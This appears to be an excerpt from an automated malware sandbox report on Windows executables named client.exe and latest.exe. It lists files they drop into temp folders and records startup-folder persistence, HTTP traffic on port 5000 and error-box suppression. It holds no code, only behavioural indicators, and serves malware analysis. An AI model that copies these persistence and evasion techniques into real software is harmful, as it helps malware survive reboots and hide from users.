Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	File created: C:\Users\user\AppData\Local\Programs\Startup\latest.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32process.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\vcruntime140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	File created: C:\Users\user\Desktop\latest.exe	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\_cffi.pyd	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 49705

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Window / User API: threadDelayed 473	Jump to behavior
